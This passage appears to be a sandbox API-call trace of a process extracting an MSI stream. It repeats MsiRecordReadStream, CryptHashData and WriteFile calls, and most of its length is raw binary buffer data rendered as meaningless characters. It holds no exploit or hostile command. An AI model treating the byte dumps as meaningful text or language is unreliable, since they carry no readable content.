µ/Ò)\x89&ÿ§Á[ú?4«\"£yË\x8aÜçâOW¹\x18(cpPïØ\x12<\x9cèõ´^r1ßµèì2j.¦ÓxN^\x86ß\x93Z1\nB\x0cìÚ\x1e¦LCÅDz5`\x9aæ\x13V\x99}´`#+G\x95{¾\x9c6k)_\x9e¹¦Lx\x1aGïÊþX\x967øÙ\x1aª\x0cXfÃÛßþ¶ÞY\x19{ö…<ÿ\x017ê\x03Ñ\x03Ø£½®1\rG¨q,\x93", pcbDataBuf=0x21df03c) returned 0x0 [0147.467] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.467] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.467] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="K¦u\x93qý1{enü\x15æx\x9dbÂ\x8bÈÌÓf#ª:×\x8b\\õ¼¿lÇ>³ÿ\x98\x93½;\x14s\x8c\x04¼;$W:N9¸Oð(\x13âsÕÏ\x1f­\x83èÔ&9ImXÒ\x8d\x81p\x9c\x0f[ò1sݹQûâ\x1d«èc±ùlNh\x8f[=H;\x8e\x90ÚÚz\x1e®\x1f³Î\x91E¥a.\x1fèA^²!ËK\x80\x95þ~¦îW\x96\x10¢GFñ2©ÆP<%\x83;ƪ^\x1eêòÛ\x16\x07¸Öõl§n\x08\x09+6x¨\x09®*\x84e\x1fSÂP8Z¬PÈ3\x8e\x11\x1b", pcbDataBuf=0x21df03c) returned 0x0 [0147.469] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.469] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.469] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="äÕ¬\x95\x1f×ÔN%\x12«\x8f¨È\x96\x0eD\x9b", pcbDataBuf=0x21df03c) returned 0x0 [0147.470] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.470] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.471] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¨d\"Áv,¸o\x1b^´\x0eá¯pánüiPü\x7f\r\x01؅<\x04\x18 \x87mà¦jg\x0csMGÌîO¯\x15\x91`P¤¥¾w\\Õ]>\x87Ï\x9285måÉ\x13'\r#\x86Å\x18v<¯\x07\x9b%m+oë7\x8b\x95\x97\x1a\x848Ü<ãT×\x10×Ì\x14çs?\x8cù§S)]°¦{\x10åL\x18\x1e\x18«ml\x99Ô\x99J,\x06ÊèD\x91\x1do\x95z\x89\x9af°=É\x95\x0bFx\x9aÔ¡Y\ro¤ýCÖsÐX-`ET¿fBAý¤\x99\x9aê\x92ë\x1e\x81Ë×N±\x98<6b\x95[\x01f½áÂ4óÞãÁZ,0Û\x99³§øyõüüÂ\x08ú\x0bEè]\x92}\x130Ë\x1cì\x15Ó\"?\x94ð\x11ûDÀã2L´\x8fô!ë\x82º\x83\x15BCn0xX\x03C\x98Îâ\x1cP>¹Ñ\x92\x9eÎ]Ùü\x92\x01Ëv\r¢]\x96>ÿêe\x13\x1c¯7&\x1e^WÚgÿ7¿\x8b\x94\x83N`sçý\x81Õ\x96\x1fo\x1a\x0c!\x06¬/¸´Ôd°ñÓT5ú\x84\x08?\x7f}À\x06Ñ;KH¶y\x1d|µÖ\x0cÆ\x8büǽ³<#½\x1b\x1bP¸æ@I\x15_{ôÏÁ±¹\x93l<ÄlJ[yd3c\x08\x12.ºÎTöÐZçõÿ¯½ÍV,½Ô(\x08\x1cÒÅÎnÚ\x03Òg\\ìëz!ºùä9ã\x1c©¤bü\x9d=ìó·\x82\x8c\x9ebñ½ð\x16¨]Yþ$½2Åu'O\x937\x88\x89ûÉÜ3!,GÛU\x10?\x97ó\x10¼à\x01Ïm\x01\x8cÉÌì\x1e\x17\x97@®¿\"4%L3\x9eý1S02t}\x0f axa\x09\x94D\x8f¯µ\x1b\x93õÈÍ\x87\x80\x0e²ò\x80\x05I\x056÷³«ºq&\x04\x8bõû¥òâãÝ\x15iUëѨ\x01vï0-\"Ôþb,>õ{\"\x83ji{\x13\x82o\x848)HnÎ\x8d\x11czÞ·4ª%}þ\x8dKª@\x06\x17\x19d@u\x94Ã\x13«òÞ\x8bÅ\x0e\x122co\\\x90lK¡\x8eÉÒ\x954Ñ\x1fq­NPäo\x10l[«24\x13ÔQ\x9fþ1+Ä\x92ðR4©\x9cvÑ\x9c>Âza%CÊÓ5Ò´,|í\x12·Xú\x84ÓÓ¼\x87\x8b\x0bM\x1a\x92\x81M\x0b\x9eQËÞ", pcbDataBuf=0x21df03c) returned 0x0 [0147.473] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.473] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.473] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Åk»iê\x81}\x12…Ö\x9e,\x8cÎK,Í\x96_\x80vÎ|\x1fK²\x16ð\x10ÿ\x99W©…!Xú£J\x14£`ïÿ¤òÏ¿éíãó^JJO§\x81xpª9\x8b…+;g+\x16F\x86\x1b¯`jQ\x17¬I8«*OË\x15\x8e°\x13\x1d5|$\x0bµ¨%B\x139s\x997ý·FÝÂù\x80\x17ÿ-U\x10nJQ\x16K\x9a\x08¦Ä\x15D5²ÓE&\r\x0cf£ñ\x84\x10êOøôZÐ,æ\x11Øã-pØ°º6óú\x1dá³h\x9b\x19~\rJ\x14\x0fãé7¯$\x8a\x80åv\x868\x17\x83\x96it#+×", pcbDataBuf=0x21df03c) returned 0x0 [0147.475] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.475] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.475] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x95à\x1dYÿÙìv…â\x94 iY®¹\x94Ô\x14Ðy×cñóÙ\x10\x83\x84\x11\x16ËI\x12É\x07CIÖØoUªZÐ\x11ûƼ .îØ\x17\x13OØ&Ó\x09\x8cm©G\x92ÖYe\x92°\x0c2Rô4û\x07:JôÐèæ\x9aÛj\x9beoI\x0c\x06\r\x9a?`\x1f\x06\x06…Rð\x16ý\x9c£\nè\x16d\x90&±A`@…`4ëUSÝ\x05 \x9c|\x11R\x90­z,à Ðâ7\x1b¡(ÅòLÕëzãûD\x90T}ÅJ\x05\x17á\x9bÙð4\x88WÎ\x0c\x16X\x1dåйÈø`\x98\x13H¼+$8\x03\x8bf»B\x14ØP\x84#ÞÊ\x1e<\x87.¿%¢zÔû\x1a7²ür\x8aÕ\x0fÿ4\x08\x1b\x09ç§\x1a{òá\x87\"V\x1f±]ãÎÐ7sð\x939\x89\x82\x1d#xèt%\x16\x87HÞ¯%0Ë\x90G=0ÅQ\x01½fp\x03J>\x03w…÷´\x83·\x9c\x95cBP/²NKñ\x87fæö(\x07²÷1ô\x90¶½ÍqfJa\x0e¨\x049\x91¥\x9d\x9dßw\x1a\x0fè£b\x04\x95ã\x8a­h4b\x0cj¸o", pcbDataBuf=0x21df03c) returned 0x0 [0147.476] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.476] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.476] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÕW…¨c\x1fÉÞèÉ{óp\x7f¬Òµ\x9d3\x1b\x9e\x97\x8c\x04l\x18<»'Â?`ªÉ·Í8·×\x1a0Óª\x12\x83'¯nÚåVÙÎíÄX\x94mk\x1aRÞ&\x05Î]DË#-Ê(\x1d:UPÏYpË=Î$\x0ek¡\x1eCÒ¨å\x7f\r¡Þ_\x1b\x12LÝáÓÜ¥ùâ…ö\x09Þ¸\x88\x92º£~fH®\x0c«\x12\x94\x1dG…YïDGnÃs¤z,\x0eé½e\x17r\x81\x9bÏ_\x9d\"\x99MnÁ\x12&mgÊy\x1e·ï4\x1a\x19Àߦò¦\\¦óéú\x01¯¢Ïõ@ a\x8bb\x13\x19\x1a?¤ËÔÓäyV\x02S\x99~î^\x1eµdªê\x958\x18Öº\x04³fäM\x16±ñ©¬!t­þo1ó\x1b\x80l\x93\n4%MN_O¨Á°\x83ÈÐw", pcbDataBuf=0x21df03c) returned 0x0 [0147.478] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.478] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.478] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¸ör8)?.]\x11!\x15©»v\x1akXr*\x98m\x1d¥\x05Ý;\rj\x81\x83Ú¯Ì\x14Ècñ¢Âdsù²z\x8f?êÒ\x0bÓx.«¾r»h>\x09X\x17\x1a\x97Û!d½¾*\x9e\x95Û\x0c>ʅÂ\x01\x99\x88\x10ô#ÄNs$Næ\x03µY¯rÙ\\å=B_\x0bÚcñu\x8f=¹ÊÃ\x86\x9cù\x9cªÙà²\x88G\x90ë\x93g¡\x1f\x86¥\x03Çi", pcbDataBuf=0x21df03c) returned 0x0 [0147.479] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.479] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.479] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="²yØÐæ%RdÜZIm5\x07åÈ_f¶¡\x939\x14*;¼\x07È>6ܯâ\x88o·Ç²pµ­®úÑ´³tÐ2¢áÍ5\x01÷\x8aÚ\x0c\x0fàÑ¡r­÷Õ¾M¼O\x1dKrV\x94È«Ó\x99&1ú©·\x9a¦\x14\x88¤R\x14&\x01\x81\x9a\x17\x1f\x98±æ\x98©\x11\x16Á¼°Í\x9dÂ\x88ÎÚ\x07ø\x7fÄ:q¶8¹\x81^x\x12æú(ª~Ä\x8b&/ûÀìtwb°%wEñ­_4 ¡\x96\x96\x1fÑï\x8e\x80\x92Ct.l\x18áßâ\x08Ñ\x1f\x8f\x1dË'\x04\x8aì\x8f¯uþk'i\x18\x7fÉ''SÞ8Cd\x1e\x9bpJ´H.h¾\x19Ý#\x83\x16Ù\x01¿º®¨\x08g@?÷TÂ?Ýó~T¯²EâÊÄ6ï\x97\x97¬ÁÇ·ý\x19\x95¹½û§¿)K4r(µ\x09\x16cÉ6nx\x9cû\x99{\x02\x13E&\x01\x84V\x9d\x0c'\x87å\x9c»\x17\x9eâ+­&Ä\x15aM1<\x09ò²\x1c¯ø6»ß})2\x94K|6÷º>\x1e\x9c*<½Ò´\x8fWîK6\x82\x81\x16\x0böüO]½Í¦,í\x99rïï%÷\x96\x97ÝsLÀâ\x9b±ò½ qE+ÅW\x17ÿ\x9bl\x12\x86¹CßDwb\x1d\x89¬Uiÿúä©Ûuí©\x91LK\x059ÿ\x84\nê\x80aÝ.|3¼x:\x9b\x1eùÞ\x89\x98ÿz=\x07WUöè\x9a\x0c§\x1a{w³\x1fý;Ç\x11}5¦\x83ùí0\x0f\\\x82\x9d\"E\x9bút6\x84?\x8e­ØjX\x1f1îÛq-\x1c\x04\x17\x86¯\x14ubÿh\x8a¸\x94Êe\x93óÕs\"ÚélÉ\x1f\x95Ê»zgã6`\x88ÄE\x09ÃnsæºY\x1ck¦&Å\x87sÍ\x8c©]\x06{Ê\x16謲\x8fÏ", pcbDataBuf=0x21df03c) returned 0x0 [0147.481] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.481] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.481] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="F\x9eeE¤!+$S\nøлê\x0c(ö\x8e#Úm¢¥\x1f\x11ç1õ\x08p´BxÅ\x87\x98ø\x07vWàx.3j)t; ·-¹*fM\x10cÂëÉ£x\x8cÁçß\x1dáng©\x891\x11\x06*0<ø\x9da@A½+ý|¨\x12ß\x14(CËô?÷#ãhm;Ö*\x08©…c3üÀÀ\rµýbÇ\x10¥Ä¡Q0\x03­«YÐp\rÃOh\x88\x80\x16\x83Þ˧J\x95F}rzØÎ\x01 V\x81ßî\x87{Ú\x82¥éâ|½å&r\x87¿àÓ\x10\x17$\x19ý%o\x1f/\x9cð ¯Ä\x1f", pcbDataBuf=0x21df03c) returned 0x0 [0147.482] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.482] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.482] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="õvH!Ë\x95\x17È\x1b¾A\x98\x92¬v·?\x1fJåY\r\x88ô¼uý\x04TDp^[¢»Âvåx¶\x1f¬ÀÁÍ\x84!óظ\x19b\x02", pcbDataBuf=0x21df03c) returned 0x0 [0147.516] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.516] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.516] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="è\x1b\nË\x7f\x08èéûj\x8f@õ[9¿bëÝÊ4õø¤¿{WX\x1c\"¤¯\x09æR8!ÅÍh²ùGÄòD\x95ë\x887ó£ÅC\"1ùó\x9f¼\x7fqheW\n΢lXÊ\x0cL¢`P\x87øs*\x14~Ú­SM\x16$}\x83ø¿±\x08", pcbDataBuf=0x21df03c) returned 0x0 [0147.517] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.517] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.517] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="X\x01]\x03$¬\x9a¾¹hƹ0âá\x8f«ðÖJu\x8e×Sô¹¿õ\x98\x98fg~;W¯\x1c¹\x06E\x95V\x91\x95ý¬í\n+\x94p0$G çDcv\x92Öpwl\x0e\x11\x93\x91 .\x1dá×+\x0cs…¡Á28j¯\x13jWUno\x98}¥S\x83\rÒ?ò\x05'úØý\x86%oªE\x89\x08R\x88[lêZB\x8c¢d\x95\x09\x96\x14j\x06Ǩ\x9f5°\x10]Tz", pcbDataBuf=0x21df03c) returned 0x0 [0147.522] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.522] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.522] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ë\x02\x7fwC\x8b¸²d;Î~]Ï\x8dîÖ¸¸à\x9b\x9eá\x11ïdIA·û>A\x1b\x12Ú\x13ùé\x89Ô¶\x1eÈÊX\x8f\x17Ò×÷z\x01»Õ \x07\"\x80\x99Öú£+\x8bo\x02ñÈ\x0f\x94²±#°ãQ\x95¢[ùÇ\x7f`V\x81\x1a\x0fÿ\x82Ý-²Ój\x1b;¾Ô\x8dÊ\x0f\x05yþzïr\x03´2Âz%\x1b7QG¯\x84$­ÍØ\x9fÎõx\x05²\x86^}\x0e¹éÂo4Qqu\x981A\x9aþX;?\x02\x09,q©^]a`KÉÕªØm\x19v£y\x1fC`Íqouæ\x87R±T¾°÷N!ö(\x92HÏ®YA5k8\x9fÉZ…×!\x93\x9cù7]\x16&BB£â¢æ\x02«U\x9c©\x80èH\x16¸\x9eá\x9a\x04`#\x92`²ðÌ\x8e[,Ø>\x14l¿å\x1fâP\x1fW¶Ljô\x86\x97zQcÂÎ\x1d\x89à\x07\x1cï@\x87\x82\x88ÚY\x07<è\x8eQfØ3r9Ã\x17\x8d\x05ÒP\x93#M\x89.-…D\x82ô\x01l~Ä\x1e`<Í.@g\x81ìäÒÉfë.â\x94*§Ø6Ív¤l\x98\x0c[\x95¾á\x0e\x11ßã¦ÿ¿'þiXÄ$ù\x1cî¤\n(R\x04U\x1f…º\x86$F(9âõ\x8aãl\x8dâ%\x80{kOÄ»\x7fP}i//-\x8d5`Ã\x9a·>^:5ÑCþ©öö\x0cü4Ûµ¯Çâ\x8e\x04\x02Át\x8e\x94Q¥\x1c\x87R\x8a'\rÖ§Â\x02`\x01\x0eôé\x86\x87", pcbDataBuf=0x21df03c) returned 0x0 [0147.532] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.532] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.533] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="°\x94nóÿ\x14\x9a'&\x96ê\x13¶k2…Ö¢o`f|%{Ì@j(ª^\x97æñé_Ð\x1aYn\x97É\x91\x17Ô|ã ` \r\x14", pcbDataBuf=0x21df03c) returned 0x0 [0147.534] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.535] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.535] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="RFz3Ì\x9eãN\x1fÊ\x96=\x96÷3ì\x04|\x02B\x14éíßU)ÊãNl;?V=\x9dÞùLOMªm\nöÆÈ\x82_\x1ezåþÇ\x1dÈ\x06°\x83\x07\x07\x019ðçZ\x91B\x1aòÂZºÑõÔà\x13µÒÍi$\x08pÎ\x88wPø\x14", pcbDataBuf=0x21df03c) returned 0x0 [0147.536] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.537] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.537] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ı\x0c\x08\x06¸9°1|Ø£\x95ù}eÒÙcxT&R\x9eÞÈ\x96l6\x10 ×\x9a\x13*÷ÎÛ*\x0b\x1a\x87ê\x08@ð\x16®\x90±Ö\x14!\x98÷\x0fÉ õÙ\x10\x1e%'×ë«\x179\x95\x92¦\x11Ôâ\x09°=èe¢\x80µõ2Qó…Z\x0c\x92¿\x8fä-×+1G\x91\x81\x1a\x87ãÜFÇ\x05mIeÓ\x1eû8ËÁí\x8d\x07Çõ \x94T:­\x11ßN¤~\"B$\x1d\x9dâ\x10æBÅsð\x92[2\x9c\x8c´~ÁesòÖ]7ý\x8eêM\x8e\x8aÒ\x17>Áìà\x97kÛî\x12\x80ªí'Â]ø²ãQ\x87\x93AO¢\x05´vó¯!<5t\x04&h\x13d Ë\x04ÌÜ1^éÞ\x08f\x05L\x1c'¿\x17Ç\x99þ8!ø÷#:cP\x8eÉ\x88\x9cJQ-3÷=À$\x93\x90ÚxßÍÎ\x95yRó\x9eïózLJ9ªþ(Æù\x7fÖ÷U\x86¼<½\x80mçJ\x1aiò\x93\x09\x9cà\x01+\x0eÂyF\x82", pcbDataBuf=0x21df03c) returned 0x0 [0147.538] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.538] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.538] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x18\x93´m\x98ÌÑ\x05\x03\x8føX\x83×к¯\x86N¹ØÿKýã\x04…JÌ\x8bþ\x09æÞ4$#¸­¡~´\x05Ф«A\x01\x89c{[£È\x94§\x92Z¢NR<¶Ò\x8a\x7fÛsUÚ&ä\x83p\x9eðDå\x04å\x18¼hsÀÖ\x10\x86~\x9fkG\x8f\x12\x8d\x08\x82@\x1eÁó\x14ä…g2ELX/\x0eÒ\x92yAõ÷\x8fj×t_Åü1\x1f\x92eD~1¶\x1bªPQx\x19ÍN\x9a;Ô'Té`7KÛ'\x98Ø\x1en[>\x15\x8c÷]òíÓÑöä\x0c­éË\x94Þ³ÝÌ\x96g {Ô}3ÍO\x8b&Ëç\x1bzÄ\x93\x02Ë\x9d>ê\x81°¥O þ»\x9bpuíºÜÄ=¯(å\x1c\x1c`¯JrçFò\\\x0ej", pcbDataBuf=0x21df03c) returned 0x0 [0147.540] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.540] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.540] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\rs\x1dKÊç¿y\"?k\x8e\x8a¸ß\x15D$ÍJ\x97\x99\x03\x941\x129\x0cO1\x9eÑ\x0fÈXæ@", pcbDataBuf=0x21df03c) returned 0x0 [0147.541] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.541] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.541] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="x°\nbgO8\rÄì[U\rÿjpû\x17·AÄ\x1dDÙ!\x9a\x9eqàzqt\x06WÔ&7Óô Ñêoÿ=æ£!Ò´RöýD\nÏ\x92\x1e³·ÙQ\x174]$+?n……\x95\x88ý\x9dW\x9aÑ,\x8a/\x9b|¡\x84rÍ®¥'ñü!Ygì\x92/\x18%c£UÓ\x01ÔÔ$³¨ÌîåqR@\x87ÇRHJ_v_ÝRvbçºØUå\"\x1aÁ \x03`ûx\"ñ\x17\x8f\x87\x99É\x86\x03 î\x15J\x8bEs­±¬Ãf÷\x12c,<×]Hê@Ïä\x84\x9b¾ú¢zÚyðÎ<~\x84¸\x88:òI­Ùz+¹\x9bêa\x90x3\x0f?6ºAò \r4s=¢\x08èãêóÀ\x80\x8f)mÇRáluÉ=\x10L", pcbDataBuf=0x21df03c) returned 0x0 [0147.542] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.542] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.543] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="h\x11võ!\x99à\\Ñ\x82\x88bëº\x9fN\x9f\x17\x10`>\x9d\x16\x1eKZØ>å\x17\x05\x8fËsÇYî\x80½l|\x9aX\x8fd\x0e,÷fè\\\x8b!\x8f\x8d\x18\x06LÏô/W0\x13%ÀÖ\x03\x04Ó\x84\x92HB·\x15ë\x9aÓL'\x9f~×rMVËe¹ÇÏJ\x93\x83Éi\x1f@\x1dõ¨ðì\x83U\x18hÔ\x10,Y$\"\x11å\"QÑcÙÄ''Ç\x81\x1aæz^ðÖ\x98oc<ÔA\x02cÎQqÃÕÝbå{ÙÕÀ\x8c6r\x93v\x86À\x81à\x08¼\x1d¾\x1bÑ3eu¦\x9eHúù¤2.¸_#ø©\x07áq.ù\x9f,ÈÊ¢\x1eû0Ý?\x11ó\x83\x92\x91;±\x81Xå\x08©Íßûq°\x0eAÕܳØÂÑT\x9c\x1aF$Äs\x9b\x9dø\x86Qß5ľ)l\x0c%\x17\x079ìG¬k\x191`÷1e\x1c(©ÌA\x93}T¸r|Î×.\x99¡£xÜø.\x9aË~44°WÐÞAÚUÊ\x8aèQ\x89&\x0c\x9cAV\x01ÿ\"\x96;[\x9duu\x18\x06÷?«8\x97*ÊB](°^\x98eç®\x1a.b\x7fmÎÏc\x8b\x88aWÐ4\x84Ñ\x91/ì!Ä<¹a\x95\x0bm 